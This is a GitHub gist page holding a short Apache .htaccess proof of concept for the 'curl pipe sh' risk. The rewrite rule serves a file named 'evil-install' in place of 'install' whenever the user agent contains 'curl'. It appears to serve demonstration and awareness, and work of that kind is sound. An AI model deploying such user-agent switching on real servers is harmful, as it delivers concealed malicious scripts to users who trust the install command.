Skip to content

Instantly share code, notes, and snippets.

@captbaritone
Created November 9, 2012 01:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save captbaritone/4043239 to your computer and use it in GitHub Desktop.
Save captbaritone/4043239 to your computer and use it in GitHub Desktop.
"curl pipe sh" exploit proof of concept
# Forbid directory listing
Options -Indexes
# Serve `evil-install` instead of `install` to curl
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} curl [NC]
RewriteRule ^install$ evil-install [L]
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment